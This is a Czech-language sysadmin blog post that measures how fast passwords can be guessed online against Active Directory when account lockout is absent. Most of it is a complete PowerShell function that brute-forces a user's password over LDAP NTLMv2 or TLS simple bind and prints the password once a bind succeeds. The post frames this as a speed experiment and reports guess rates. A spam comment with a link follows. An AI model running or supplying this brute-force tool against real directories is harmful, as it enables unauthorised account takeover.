Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > Posts > Online zkoušečka hesel
září 15
Online zkoušečka hesel

Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.

Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.

Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.

Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.

Nebo 470 hesel za vteřinu přes Simple bind.

function global:Try-LdapPasswordsFast (
    [string] $dc, 
    [string] $login, 
    [string] $domain, 
    [switch] $authBasic, 
    [int] $tryLength = 5,
    [string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    )
{
  if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {

    [void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
  }

  [System.DirectoryServices.Protocols.LdapConnection] $conn = $null
  [System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
  $global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop

  try {

    if ($authBasic -and ($dc -notlike '?*:?*')) {

      $dc = $dc + ':636'
    }

    $conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc

    if ($authBasic) {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $false
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $true
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic

    } else {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $true
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $false
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
    }

    [double] $pwdCount = 1;
    for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
    Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)


    [byte[]] $charMatrix = New-Object byte[] $tryLength
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }

    [byte] $positionMax = $charSet.Length - 1
    [int] $iteration = 0
    [string] $foundPwd = [string]::Empty
    [System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }

    $error.Clear()
    $dtStart = [DateTime]::Now

    do {

      $iteration ++

      [byte] $i = 0
      while ($i -lt $charMatrix.Length) {

        if ($charMatrix[$i] -eq $positionMax) {

          $charMatrix[$i] = 0
          $i ++
          continue
          
        } else {

          $charMatrix[$i] = $charMatrix[$i] + 1
          break
        }
      }

      for ($k = 0; $k -lt $charMatrix.Length; $k ++)
      {
        $pwdMachine[$k] = $charSet[$charMatrix[$k]]
      }

      $onePwd = $pwdMachine.ToString()
    
      $cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
      [bool] $check = $true

      try {

        $conn.Bind($cred)

      } catch {

        #Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
        $check = $false
      }

      if ($check) {

        $foundPwd = $onePwd
        break
      }

      if (($iteration % 27000) -eq 0) {

        $dtProcessDiff = [DateTime]::Now - $dtStart
        Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
      }

    } while ($i -lt $charMatrix.Length)

    $dtEnd = [DateTime]::Now

    Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
    
    if ([string]::IsNullOrEmpty($foundPwd)) {

      Write-Host ('Didnt find the password')

    } else {

      Write-Host ('Found password: {0}' -f $foundPwd)
    }
  
  } catch {

    Write-Host ('Error: {0}' -f $_.Exception.Message)

  } finally {

    if (-not ([object]::Equals($null, $conn))) {

      $conn.Dispose()
    }

    $global:errorActionPreference = $errorActionBackup
  }
}

Tak jen pro představu.

Comments

Ask

Do you think It's too hard to earn?


https://snake-game.io
Dennis Watson on 28.9.2023 9:00

Add Comment

Title


Pole Title nemusíte vyplňovat, doplní se to samo na stejnou hodnotu jako je nadpis článku.

Author *


Pole Author nesmí být stejné jako pole Title! Mám to tu jako ochranu proti spamu. Roboti to nevyplní dobře :-)

Body *


Type number two as digit *


Semhle vyplňte číslici dvě. Předchozí antispemové pole nefunguje úplně dokonale, zdá se, že jsou i spamery, které pochopily, že je občas potřeba vyplnit autora :-)

Email


Emailová adresa, pokud na ni chcete ode mě dostat odpověď. Nikdo jiný než já vaši emailovou adresu neuvidí.

Attachments